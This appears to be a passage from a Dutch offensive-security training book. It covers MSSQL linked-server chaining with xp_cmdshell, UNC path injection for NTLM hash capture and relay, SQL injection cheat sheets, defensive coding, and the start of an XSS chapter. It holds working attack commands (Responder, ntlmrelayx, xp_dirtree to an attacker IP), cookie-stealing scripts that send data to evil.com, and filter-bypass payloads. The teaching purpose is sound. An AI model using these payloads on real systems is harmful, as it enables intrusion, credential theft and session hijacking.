En het wordt nog mooier: linked servers kunnen geketend worden. SQL1 -> SQL2 -> SQL3. Als elke link met hoge privileges draait, kun je via drie sprongen op een server uitkomen waar je normaal geen toegang hebt.

Stap 1: Ontdek linked servers

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Stap 2: Query via linked server (OPENQUERY)

SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')

Stap 3: Geneste links (SQL1 -> SQL2 -> SQL3)

En hier wordt de quote-escaping een nachtmerrie:

SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')

Elke laag dieper verdubbelt het aantal quotes. Bij drie lagen heb je acht quotes nodig voor een enkele quote. Het is als een matroesjka van string escaping.

Stap 4: Via PowerUpSQL (veel eenvoudiger)

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' `
  -Query "EXEC master..xp_cmdshell 'whoami'" |
  Select-Object Instance,Sysadmin,CustomQuery |
  Format-Table

Dit crawlt automatisch alle linked servers en voert je query op elk ervan uit. PowerUpSQL regelt de quote-nesting voor je.

Stap 5: xp_cmdshell activeren op een linked server

EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

Het IB command file: mssql_linked

# MSSQL Linked Server Crawling -
#   Chain via meerdere SQL servers
# Stap 1: Ontdek linked servers
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl
  -Instance 'TARGET,1433' -Verbose"
# Stap 2: Query via linked server (OpenQuery)
SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')
# Stap 3: Genest (dubbel gelinkt - SQL1 -> SQL2 -> SQL3)
SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')
# Stap 4: Via PowerUpSQL crawl + commando
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl -Instance 'TARGET,1433'
  -Query 'EXEC master..xp_cmdshell ''whoami'''
  | Select-Object Instance,Sysadmin,CustomQuery
  | Format-Table"
# Stap 5: xp_cmdshell activeren op linked server
EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
# Tip: Linked servers draaien vaak als SA -
#   privilege escalation kans

UNC Path Injection: hashes stelen

Dit is een van de meest elegante aanvallen in het MSSQL-arsenaal. In plaats van data uit de database te halen, dwing je de SQL Server om naar jou te verbinden. En bij die verbinding stuurt Windows automatisch een NTLMv2-authenticatie-hash mee.

Het is alsof je niet naar de bank gaat om te roven, maar de bank overtuigt om een koerier te sturen met de kluissleutels. Naar jouw adres.

Stap 1: Start een listener op je aanvaller-machine

# Optie A: Responder (vangt NTLM-hashes op)
responder -I eth0 -wrf

# Optie B: Impacket SMB server
python3 smbserver.py share /tmp -smb2support

Stap 2: Trigger een UNC-pad vanuit SQL

EXEC master..xp_dirtree '\\10.0.0.1\share'

Alternatieven:

EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1

Wat er gebeurt: de SQL Server probeert het UNC-pad te bereiken. Windows ziet een SMB-share (\\10.0.0.1\share) en stuurt automatisch de NTLM-credentials van het service account mee. Jouw Responder vangt de hash op.

Stap 3: Crack de hash

hashcat -m 5600 captured_hash.txt wordlist.txt

Stap 4: Of relay de hash

Als het SQL Server service account hoge privileges heeft op andere systemen, kun je de hash relayen in plaats van cracken:

python3 ntlmrelayx.py -t TARGET2 -smb2support

Het IB command file: mssql_unc_inject

# MSSQL UNC Path Injection - NTLMv2 hash capture
# Stap 1: Start Responder op aanvaller
responder -I eth0 -wrf
# Of Impacket smbserver:
python3 smbserver.py share /tmp -smb2support
# Stap 2: Trigger UNC path vanuit SQL
#   (forceert NTLM auth naar aanvaller)
EXEC master..xp_dirtree '\\10.0.0.1\share'
# Alternatieven:
EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1"
# Stap 3: Crack captured NTLMv2 hash
hashcat -m 5600 captured_hash.txt wordlist.txt
# Stap 4: Als SQL service draait als domain account
#   - relay naar andere service
python3 ntlmrelayx.py -t TARGET2 -smb2support
# Tip: SQL service accounts draaien vaak
#   als domain user met hoge privileges

IB Tip: UNC path injection is vooral krachtig als de SQL Server service draait als een domein-account (wat het bijna altijd doet). Zelfs als je de hash niet kunt cracken, kun je vaak relayen. Check met xp_cmdshell 'whoami' als welk account de service draait.

Verdediging: hoe het wel moet

We hebben nu een heel hoofdstuk besteed aan het breken van dingen. Laten we even praten over het repareren ervan. Want als je na het lezen van dit alles niet een vage misselijkheid voelt over je eigen code, heb je niet goed opgelet.

1. Parameterized queries — overal, altijd, zonder uitzonderingen

Dit is de enige verdediging die ertoe doet. Al het andere is een pleister op een geamputeerd been.

Python (psycopg2 / PyMySQL):

# GOED
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# SLECHT — doe dit nooit
cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
    f" AND password = '{password}'"
)

Java (JDBC):

// GOED
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

// SLECHT
Statement s = conn.createStatement();
s.executeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"
);

PHP (PDO):

// GOED
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE username = :user
     AND password = :pass"
);
$stmt->execute([':user' => $username, ':pass' => $password]);

// SLECHT
$pdo->query(
    "SELECT * FROM users WHERE username = '$username'"
);

C# (.NET):

// GOED
using var cmd = new SqlCommand(
    "SELECT * FROM users WHERE username = @user", conn
);
cmd.Parameters.AddWithValue("@user", username);

// SLECHT
var cmd = new SqlCommand(
    $"SELECT * FROM users WHERE username = '{username}'", conn
);

Node.js (met mysql2):

// GOED
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

// SLECHT
const [rows] = await connection.query(
  `SELECT * FROM users WHERE username = '${username}'`
);

Het patroon is altijd hetzelfde: de query heeft placeholders (?, %s, :name, @name) en de waarden worden apart meegegeven. De database-driver zorgt ervoor dat de waarden als data worden behandeld, nooit als code.

2. ORM gebruiken

Object-Relational Mappers (ORMs) zoals SQLAlchemy, Hibernate, Entity Framework, en Sequelize genereren parameterized queries automatisch:

# SQLAlchemy — automatisch parameterized
user = session.query(User).filter_by(
    username=username, password=password
).first()

Maar pas op: ORMs beschermen je niet als je raw SQL gebruikt:

# Dit is WEER kwetsbaar, ook met SQLAlchemy!
session.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
)

# GOED: raw SQL met parameters in SQLAlchemy
from sqlalchemy import text
session.execute(
    text("SELECT * FROM users WHERE username = :user"),
    {"user": username}
)

3. Least Privilege

De database-gebruiker waarmee je applicatie verbindt, zou zo weinig mogelijk rechten moeten hebben:

-- Maak een beperkte gebruiker
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'sterkwachtwoord';

-- Geef alleen de rechten die nodig zijn
GRANT SELECT, INSERT, UPDATE ON shop.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop.orders TO 'webapp'@'localhost';

-- NIET dit:
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'%';
-- ^^^^ dit is het database-equivalent van je voordeur openlaten
--      met een bordje "welkom, neem wat je wilt"

Specifiek: - Geen FILE privilege (voorkomt LOAD_FILE / INTO OUTFILE) - Geen EXECUTE op system stored procedures (voorkomt xp_cmdshell) - Geen superuser/sa-rechten - Beperk tot specifieke tabellen en operaties

4. Web Application Firewall (WAF)

Een WAF is als een uitsmijter bij een club: het houdt de meeste ongewenste bezoekers tegen, maar een vastberaden aanvaller met een net pak komt er toch doorheen.

WAFs detecteren bekende SQL Injection-patronen:

# Deze payloads worden geblokkeerd door de meeste WAFs:
' OR 1=1-- -
' UNION SELECT
; DROP TABLE

# Deze misschien niet:
'/**/OR/**/1=1--/**/-
' /*!50000UNION*/ /*!50000SELECT*/
' uNiOn SeLeCt

Een WAF is een aanvullende verdedigingslaag. Het is geen vervanging voor parameterized queries. Vertrouwen op alleen een WAF is als het dragen van een kogelvrij vest terwijl je de deur van je huis open laat staan.

5. Error handling

Geef nooit database-foutmeldingen door aan de eindgebruiker:

# SLECHT
try:
    cursor.execute(query)
except Exception as e:
    return f"Database error: {e}"  # aanvaller ziet de fout!

# GOED
try:
    cursor.execute(query)
except Exception as e:
    logger.error(f"Database error: {e}")  # log intern
    return "Er is een fout opgetreden."  # generieke melding

Error-based SQL Injection bestaat alleen omdat applicaties hun foutmeldingen tonen. Stop daarmee en een hele klasse aanvallen verdwijnt.

6. Input validatie (als extra laag)

Input validatie is niet je primaire verdediging (dat zijn parameterized queries), maar het is een nuttige extra laag:

import re

def validate_product_id(product_id: str) -> bool:
    """Product ID moet een geheel getal zijn."""
    return bool(re.match(r'^\d+$', product_id))

def validate_sort_column(column: str) -> str:
    """Alleen toegestane kolomnamen voor ORDER BY."""
    allowed = {'name', 'price', 'date', 'rating'}
    if column not in allowed:
        return 'name'  # default
    return column

Let op dat ORDER BY niet geparameteriseerd kan worden (het is een identifier, geen waarde). Gebruik daarvoor een allowlist.

De ongemakkelijke waarheid

Laten we even eerlijk zijn. Het is 2026. SQL Injection is ontdekt in 1998. De eerste grote SQLi-aanval was in 2008 (Heartland Payment Systems, 130 miljoen creditcards). Bobby Tables — de XKCD-strip die SQL Injection uitlegt — is van 2007. Dat is bijna twintig jaar geleden.

En toch. Toch zijn er op dit moment bedrijven die applicaties in productie draaien met code als:

query = "SELECT * FROM users WHERE id = " + request.args.get('id')

Geen parameterized queries. Geen input validatie. Geen WAF. Niets. Nada.

Dit zijn geen startups van twee studenten in een garage. Dit zijn bedrijven met budgetten, met “security teams”, met ISO-certificeringen aan de muur en een CISO die presentaties geeft op conferenties over “het belang van security by design.”

En ergens in de kelder van dat gebouw draait een PHP 5.6-applicatie uit 2009 die de boekhouding doet en die niemand durft aan te raken omdat “hij werkt en er is geen documentatie.” En die applicatie concateneert strings. In 2026. Met directe toegang tot de productiedatabase. Die ook de salarissen bevat.

Dat is geen fout meer. Dat is een keuze. Het is de keuze om de achterdeur open te laten staan en er vervolgens verbaasd over te zijn dat er iemand binnenkomt. Het is de keuze om een rookmelder te kopen, de batterij er niet in te doen, en vervolgens het rookmelderbedrijf aan te klagen als het huis afbrandt.

De patch bestaat. Al meer dan twintig jaar. Het is een enkele regel code. cursor.execute(query, params) in plaats van cursor.execute(f"...{user_input}..."). Het kost vijf minuten om te implementeren. En bedrijven kiezen ervoor om het niet te doen.

Want weet je wat duurder is dan parameterized queries implementeren? Alles behalve parameterized queries implementeren. De pentest die de SQLi vindt. De incident response als het misgaat. De juridische kosten. De boete van de Autoriteit Persoonsgegevens. De PR-kosten om uit te leggen waarom de wachtwoorden van 2 miljoen klanten op Pastebin staan.

Maar die vijf minuten om die ene regel code te veranderen? Nee. Daar is geen budget voor. Dat staat niet in de sprint planning. Dat heeft geen prioriteit.

Incompetent bastards, inderdaad.

IB Command File referentietabel

Hieronder een overzicht van alle command files die in dit hoofdstuk zijn behandeld, met hun locatie in het IB-project en hun functie.

Command file Pad in IB Techniek Database(s)
web_sqli_union http/commands/web_sqli_union UNION-based extraction MySQL, PostgreSQL, MSSQL, Oracle
web_sqli_error http/commands/web_sqli_error Error-based extraction MySQL, MSSQL, Oracle, PostgreSQL
web_sqli_blind http/commands/web_sqli_blind Boolean + time-based blind MySQL, MSSQL, PostgreSQL, Oracle
web_sqli_file_rw http/commands/web_sqli_file_rw File read/write, webshell MySQL, PostgreSQL, MSSQL
web_sqli_rce http/commands/web_sqli_rce SQLi naar code execution MSSQL, MySQL, PostgreSQL
web_sqli_sqlmap http/commands/web_sqli_sqlmap Geautomatiseerde exploitatie Alle
mssql_enum http/commands/mssql_enum MSSQL enumeratie via PowerUpSQL MSSQL
mssql_linked http/commands/mssql_linked Linked server crawling MSSQL
mssql_unc_inject http/commands/mssql_unc_inject NTLMv2 hash capture MSSQL
mssql_xpcmdshell http/commands/mssql_xpcmdshell OS command execution MSSQL

Escalatiepad-overzicht

Het volgende schema toont hoe een SQL Injection-kwetsbaarheid kan escaleren van een eenvoudige data-lekkage naar volledige server- en domeincontrole:

SQL Injection gevonden
    |
    +-- Data extractie (UNION / Error / Blind)
    |       |
    |       +-- Gebruikers + wachtwoord-hashes
    |       +-- Configuratiebestanden (database credentials)
    |       +-- Andere databases op dezelfde server
    |
    +-- File read (LOAD_FILE / pg_read_file)
    |       |
    |       +-- /etc/passwd, /etc/shadow
    |       +-- Applicatie-configuratie
    |       +-- SSH-keys, API-tokens
    |
    +-- File write (INTO OUTFILE / lo_export)
    |       |
    |       +-- Webshell plaatsen
    |               |
    |               +-- Remote Code Execution
    |
    +-- Native RCE
    |       |
    |       +-- MSSQL: xp_cmdshell
    |       +-- PostgreSQL: COPY FROM PROGRAM
    |       +-- MySQL: UDF (lib_mysqludf_sys)
    |               |
    |               +-- Reverse shell
    |                       |
    |                       +-- Post-exploitation
    |
    +-- MSSQL specifiek
            |
            +-- Linked server crawling
            |       |
            |       +-- Laterale beweging naar andere SQL servers
            |       +-- Privilege escalation via SA-links
            |
            +-- UNC path injection
                    |
                    +-- NTLMv2 hash capture
                    +-- Hash cracking (hashcat)
                    +-- NTLM relay naar andere services
                            |
                            +-- Domain escalation

Cheat sheet: SQL Injection per database

MySQL / MariaDB

Actie Payload
Versie version() of @@version
Huidige database database()
Huidige user current_user() of user()
Alle databases SELECT schema_name FROM information_schema.schemata
Alle tabellen SELECT table_name FROM information_schema.tables WHERE table_schema=database()
Kolommen SELECT column_name FROM information_schema.columns WHERE table_name='X'
String concat concat(), group_concat(), concat_ws()
Substring SUBSTRING(str, pos, len) of MID(str, pos, len)
Comment -- -, #, /* */
Time delay SLEEP(n)
File read LOAD_FILE('path')
File write INTO OUTFILE 'path'
Stacked queries Ja (met PDO/MySQLi multi_query)

PostgreSQL

Actie Payload
Versie version()
Huidige database current_database()
Huidige user current_user of session_user
Alle databases SELECT datname FROM pg_database
Alle tabellen SELECT table_name FROM information_schema.tables WHERE table_schema='public'
String concat string_agg(), || operator
Substring SUBSTRING(str, pos, len)
Comment -- -, /* */
Time delay pg_sleep(n)
File read pg_read_file('path'), lo_import()
File write COPY TO, lo_export()
Command exec COPY FROM PROGRAM 'cmd'
Quote bypass CHR(), $$string$$
Stacked queries Ja

MSSQL

Actie Payload
Versie @@version
Huidige database DB_NAME()
Huidige user SYSTEM_USER of SUSER_SNAME()
Alle databases SELECT name FROM master..sysdatabases
Alle tabellen SELECT name FROM sysobjects WHERE xtype='U'
Kolommen SELECT name FROM syscolumns WHERE id=OBJECT_ID('tabel')
String concat + operator, FOR XML PATH
Substring SUBSTRING(str, pos, len)
Comment -- -, /* */
Time delay WAITFOR DELAY '0:0:n'
Error leakage CONVERT(int, data)
Command exec xp_cmdshell 'cmd'
UNC trigger xp_dirtree '\\ip\share'
Linked server query OPENQUERY("server", 'query')
Stacked queries Ja

Oracle

Actie Payload
Versie SELECT banner FROM v$version
Huidige database SELECT ora_database_name FROM dual
Huidige user SELECT user FROM dual
Alle tabellen SELECT table_name FROM all_tables
Kolommen SELECT column_name FROM all_tab_columns WHERE table_name='X'
String concat || operator
Substring SUBSTR(str, pos, len)
Comment --, /* */
Time delay DBMS_PIPE.RECEIVE_MESSAGE('a', n)
Dummy tabel dual (verplicht bij elke SELECT zonder FROM)
Stacked queries Nee (in de meeste contexten)

Verder lezen

IB Tip: De beste manier om SQL Injection te leren is door het te doen. Zet de IB-applicatie op, open het SQLi-lab, en werk door de command files heen. Begin met UNION-based (het meest zichtbare resultaat), ga dan naar error-based, en bewaar blind voor als je masochistische neigingen hebt. sqlmap is je vangnet — leer het handmatig, automatiseer het daarna.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

Waarin we ontdekken dat een taal die in tien dagen werd geschreven nu de sleutel tot het koninkrijk bewaakt, en hoe fluisterende scripts op drukke feesten de boel op stelten zetten.

4.1 De taal die niemand serieus nam

In mei 1995, terwijl de rest van de wereld zich druk maakte over Windows 95 en de vraag of het internet een rage was die wel zou overwaaien, zat een man genaamd Brendan Eich bij Netscape tien dagen lang als een bezetene te programmeren. Het resultaat was een scripttaal die aanvankelijk Mocha heette, daarna LiveScript, en uiteindelijk JavaScript – niet omdat het iets met Java te maken had, maar omdat de marketing- afdeling dacht dat de naam wel lekker zou verkopen.

Tien dagen. Laat dat even bezinken.

De meeste mensen hebben tien dagen nodig om een IKEA-kast in elkaar te zetten. Of om te beslissen welke kleur ze de badkamer willen verven. Brendan Eich bouwde in die tijd een programmeertaal die nu letterlijk het zenuwstelsel is van elke website die je bezoekt. Elke knop waar je op klikt, elk formulier dat je invult, elke animatie die je irriteert – het draait allemaal op die haastige, wanhopige tien dagen code.

En hier wordt het interessant: die taal, geboren in haast en opgegroeid in chaos, is nu verantwoordelijk voor het verwerken van je bankgegevens, je medische dossiers, je belastingaangiftes. Het is alsof je ontdekt dat het vliegtuig waar je in zit is ontworpen door iemand die er een lang weekend voor had.

Cross-Site Scripting – XSS voor vrienden – is wat er gebeurt wanneer een aanvaller erin slaagt om zijn eigen JavaScript-code uit te voeren in de browser van iemand anders. Stel je het zo voor: je bent op een druk feest. Iedereen praat door elkaar heen. En dan slaagt iemand erin om de barman ervan te overtuigen dat jij hebt gezegd dat hij al je drankjes op jouw rekening moet zetten. De barman gelooft het, want het kwam via het juiste kanaal – via de website die je vertrouwt.

Dat is XSS in een notendop. De website vertrouwt de input. De browser vertrouwt de website. En de gebruiker vertrouwt de browser. Het is een drietrapsraket van misplaatst vertrouwen.

IB Tip: XSS staat al jaren in de OWASP Top 10 en is een van de meest voorkomende kwetsbaarheden op het web. Het feit dat het zo vaak voorkomt na meer dan twintig jaar is eigenlijk een beschamende zaak voor de hele industrie.

4.2 De drie smaken van ellende: typen XSS

XSS komt in drie varianten, zoals een onprettig assortiment bonbons waar je niet om hebt gevraagd. Elke variant heeft zijn eigen karakter, zijn eigen methode van overleven, en zijn eigen manier om je dag te verpesten.

4.2.1 Reflected XSS – de echo-aanval

Reflected XSS is de eenvoudigste vorm, en tegelijkertijd de meest alomtegenwoordige. Het werkt als volgt: een aanvaller stopt kwaadaardige code in een URL, stuurt die URL naar het slachtoffer, en de server stuurt de code braaf terug als onderdeel van de pagina.

Stel je een zoekfunctie voor. Je zoekt naar “katten” en de pagina zegt: “Je zocht naar: katten.” Prachtig. Maar wat als je zoekt naar iets anders?

https://example.com/zoek?q=<script>alert('XSS')</script>

En de server antwoordt met:

<p>Je zocht naar: <script>alert('XSS')</script></p>

De browser ziet het <script>-element, haalt zijn schouders op, en voert het uit. Zo hoort het immers. De server zei dat het moest. Wie is de browser om te twijfelen?

Het “reflected” deel van de naam verwijst naar het feit dat de payload wordt weerkaatst door de server – als een tennisbal die je tegen een muur gooit. De aanvaller gooit, de server kaatst, en de browser van het slachtoffer vangt. Alleen is het geen tennisbal maar een granaat.

De truc is dat het slachtoffer op een link moet klikken. Dat klinkt als een obstakel, maar mensen klikken overal op. We klikken op links in e-mails van “banken” die we niet hebben. We klikken op links die beloven dat we de vijfhonderdste bezoeker zijn. We klikken op links omdat het dinsdag is en we ons vervelen.

Voorbeeld – reflected XSS in een zoekparameter:

<!-- Server-side template die input niet encodeert -->
<h2>Zoekresultaten voor: <?= $_GET['q'] ?></h2>
GET /zoek?q=<img src=x onerror=alert(document.cookie)> HTTP/1.1
Host: kwetsbare-site.nl

De response bevat dan:

<h2>Zoekresultaten voor: <img src=x onerror=alert(document.cookie)></h2>

De browser probeert braaf een afbeelding te laden van x, dat mislukt (vanzelf- sprekend), de onerror handler vuurt, en plots zie je je cookies op het scherm.

Context is allesbepalend. Dezelfde payload werkt compleet anders afhankelijk van waar de input terechtkomt in de HTML. In een HTML-element context heb je andere escape-karakters nodig dan in een attribuut of in een JavaScript-string. Dit is een punt waar veel ontwikkelaars de mist in gaan: ze encoderen voor de verkeerde context, of ze denken dat encoding in een context ook werkt in een andere.

<!-- HTML context: < en > moeten geencodeerd -->
<p>Hallo <?= htmlspecialchars($naam) ?></p>

<!-- Attribuut context: " moet geencodeerd -->
<input value="<?= htmlspecialchars($naam, ENT_QUOTES) ?>">

<!-- JavaScript context: heel andere encoding nodig -->
<script>var naam = "<?= $naam ?>";</script>
<!-- ^ GEVAARLIJK als $naam = "; alert(1);// -->

4.2.2 Stored XSS – de sluipmoordenaar

Als reflected XSS een briefbom is, dan is stored XSS een landmijn. De payload wordt opgeslagen op de server – in een database, een bestand, een logboek – en elke keer dat iemand de pagina bezoekt, gaat het ding af.

Denk aan een gastenboek, een forum, een beoordelingssectie. De aanvaller plaatst een bericht:

Geweldige service! ★★★★★
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Het bericht wordt opgeslagen. De volgende keer dat iemand de beoordelingspagina bezoekt – de eigenaar van de site, een willekeurige klant, maakt niet uit – voert hun browser het script uit. Zonder dat ze op een link hoefden te klikken. Zonder dat ze iets verdachts deden. Ze bezochten gewoon een webpagina.

De impact van stored XSS is exponentieel groter dan reflected XSS. Een stored XSS op een populaire pagina kan duizenden gebruikers raken. Het is het verschil tussen een sniper die een voor een schiet en een landmijn die iedereen raakt die er overheen loopt.

Voorbeeld – stored XSS in een commentaarveld:

// Aanvaller plaatst dit als "reactie":
Goede post!<script>
  var img = new Image();
  img.src = "https://evil.com/log?cookie=" + document.cookie;
</script>
# Server-side: sla op zonder sanitization
@app.route('/comment', methods=['POST'])
def add_comment():
    comment = request.form['comment']
    db.session.add(Comment(text=comment))  # Geen filtering!
    db.session.commit()
    return redirect('/post/1')
<!-- Template: toon zonder encoding -->
{% for comment in comments %}
  <div class="comment">{{ comment.text | safe }}</div>
  <!-- Die | safe filter is hier het probleem -->
{% endfor %}

Elke bezoeker van /post/1 stuurt nu onbewust zijn cookies naar evil.com.

IB Tip: Bij een pentest is stored XSS altijd een grotere bevinding dan reflected XSS. De reden is simpel: het slachtoffer hoeft niks te doen behalve de pagina bezoeken. Er is geen phishing-link nodig, geen social engineering. De kwetsbaarheid wacht geduldig op zijn slachtoffers.

4.2.3 DOM-based XSS – de onzichtbare

DOM-based XSS is de derde variant, en in sommige opzichten de meest verraderlijke. Bij reflected en stored XSS gaat de kwaadaardige input via de server. Bij DOM-based XSS komt de server er niet eens aan te pas. Het gebeurt volledig in de browser, in het Document Object Model – die boomstructuur waar JavaScript zo dol op is.

De kwetsbaarheid ontstaat wanneer JavaScript een waarde leest uit een bron die de aanvaller controleert (een “source”) en die waarde doorgeeft aan een functie die code kan uitvoeren (een “sink”).

Veelvoorkomende sources:

Source Beschrijving
document.URL De volledige URL van de pagina
document.referrer De URL van de vorige pagina
location.hash Het fragment na # in de URL
location.search De query string na ?
window.name De naam van het window object
postMessage data Data ontvangen via cross-origin messaging

Veelvoorkomende sinks:

Sink Risico
document.write() Schrijft direct HTML naar de pagina
innerHTML Parseert en rendert HTML
eval() Voert een string uit als JavaScript
setTimeout(string) Voert een string uit als JavaScript
location.href Kan javascript: protocol accepteren
jQuery.html() jQuery’s innerHTML-equivalent

Voorbeeld – DOM-based XSS via location.hash:

<div id="welkom"></div>
<script>
  // Lees de naam uit de URL hash
  var naam = decodeURIComponent(location.hash.substring(1));
  document.getElementById('welkom').innerHTML = 'Welkom, ' + naam;
</script>

Bezoek nu:

https://example.com/pagina#<img src=x onerror=alert(1)>

Het fragment na # wordt nooit naar de server gestuurd. De server logt niks. Een WAF ziet niks. Het gebeurt allemaal in de browser, in stilte, als een dief die door het raam klimt terwijl de beveiliger aan de voordeur staat.

Dit maakt DOM-based XSS bijzonder lastig om te detecteren. Server-side logging helpt niet. Web Application Firewalls die alleen het verkeer inspecteren, missen het volledig. Je hebt client-side analyse nodig, of een ontwikkelaar die daad- werkelijk nadenkt over hoe data door de DOM stroomt.

Een realistischer voorbeeld – DOM XSS via postMessage:

// Pagina luistert naar postMessage events
window.addEventListener('message', function(event) {
  // GEEN origin check! Iedereen mag een bericht sturen.
  document.getElementById('notificatie').innerHTML = event.data;
});
<!-- Aanvaller's pagina -->
<iframe src="https://kwetsbare-site.nl/dashboard" id="target"></iframe>
<script>
  // Wacht tot iframe geladen is, stuur dan payload
  document.getElementById('target').onload = function() {
    this.contentWindow.postMessage(
      '<img src=x onerror=alert(document.cookie)>',
      '*'
    );
  };
</script>

IB Tip: Bij het testen op DOM-based XSS is de browser DevTools console je beste vriend. Zoek naar innerHTML, document.write, en eval in de JavaScript-bestanden. Tools als Burp Suite’s DOM Invader kunnen ook helpen bij het automatisch identificeren van source-sink combinaties.

4.3 Payloads en context: het juiste gereedschap voor de juiste klus

Nu we de drie typen kennen, wordt het tijd om te praten over het echte handwerk: de payloads. Want XSS is contextgevoelig. Dezelfde payload die werkt in de ene situatie doet helemaal niks in een andere. Het is als proberen een schroef in te draaien met een hamer – technisch gezien gebruik je gereedschap, maar je bereikt er niks mee.

4.3.1 HTML context

Dit is de meest voorkomende situatie: je input belandt direct in de HTML-body, tussen tags.

<p>Welkom, AANVALLER_INPUT</p>

Hier zijn de klassieke payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

De <script>-tag is de meest voor de hand liggende, maar ook de meest gefilterde. Veel ontwikkelaars denken: “Als ik <script> blokkeer, ben ik veilig.” Dat is net zoiets als denken dat je veilig bent voor inbrekers als je de voordeur op slot doet terwijl alle ramen open staan.

Er zijn honderden HTML-elementen met event handlers. Je hoeft er maar een te vinden die niet gefilterd is:

<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Het <img src=x onerror=...> patroon is bijzonder populair omdat het geen gebruikersinteractie vereist. De browser probeert de afbeelding te laden, faalt, en vuurt het onerror event. Automatisch. Betrouwbaar. Elke keer.

4.3.2 Attribuut context

Soms belandt je input in een HTML-attribuut:

<input type="text" value="AANVALLER_INPUT">

Hier moet je eerst uit het attribuut breken:

" onfocus="alert(1)" autofocus="

Wat resulteert in:

<input type="text" value="" onfocus="alert(1)" autofocus="">

Of je breekt uit de hele tag:

"><script>alert(1)</script>
<input type="text" value=""><script>alert(1)</script>">

Als dubbele aanhalingstekens gefilterd zijn, probeer dan enkele:

' onfocus='alert(1)' autofocus='

Of als beide gefilterd zijn maar de context het toelaat, event handlers zonder aanhalingstekens:

x onfocus=alert(1) autofocus

4.3.3 JavaScript context

Dit is waar het echt lastig wordt. Je input zit in een JavaScript-string:

<script>
  var zoekterm = "AANVALLER_INPUT";
  // doe iets met zoekterm
</script>

Hier hoef je geen nieuwe tag te injecteren. Je moet alleen uit de string breken:

"; alert(1); //

Resultaat:

<script>
  var zoekterm = ""; alert(1); //";
  // doe iets met zoekterm
</script>

De // aan het einde maakt de rest een comment, zodat de syntax geldig blijft.

Als de ontwikkelaar aanhalingstekens escaped met een backslash (\"), kun je proberen om de backslash zelf te escapen:

\"; alert(1); //

Dit produceert:

<script>
  var zoekterm = "\\"; alert(1); //";
</script>

De \\ is nu een escaped backslash, niet een escaped aanhalingsteken. De string eindigt bij het tweede ", en je code wordt uitgevoerd.

Als je in een template literal zit (backticks), gebruik dan:

${alert(1)}
var bericht = `Welkom, ${alert(1)}`;

4.3.4 URL context

Input die in een href of src attribuut belandt:

<a href="AANVALLER_INPUT">Klik hier</a>

Hier kun je het javascript: protocol gebruiken:

javascript:alert(1)
<a href="javascript:alert(1)">Klik hier</a>

Sommige filters blokkeren javascript: maar vergeten variaties:

javascript:alert(1)
JaVaScRiPt:alert(1)
java%0ascript:alert(1)

Die laatste gebruikt een URL-geencodeerde newline (%0a) om het keyword te splitsen.

4.3.5 Filter bypass technieken

En hier komen we bij het kat-en-muisspel dat security zo fascinerend maakt. De verdedigers bouwen filters, de aanvallers omzeilen ze. Het is een wapenwedloop die al twintig jaar bezig is en die de verdedigers consequent verliezen.

Case variation:

<ScRiPt>alert(1)</sCrIpT>

HTML is case-insensitive. JavaScript is dat niet, maar de tag-parser wel. Als het filter zoekt naar <script> maar niet naar <ScRiPt>, heb je een probleem.

Geneste tags (double encoding):

<scr<script>ipt>alert(1)</scr</script>ipt>

Als het filter de binnenste <script> verwijdert, blijft de buitenste over.

HTML entity encoding:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

Dat is alert(1) in HTML character references. De browser decodeert ze voordat JavaScript ze verwerkt.

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

De eerste gebruikt template literal syntax in plaats van haakjes. De tweede overschrijft de globale error handler en gooit dan een error.

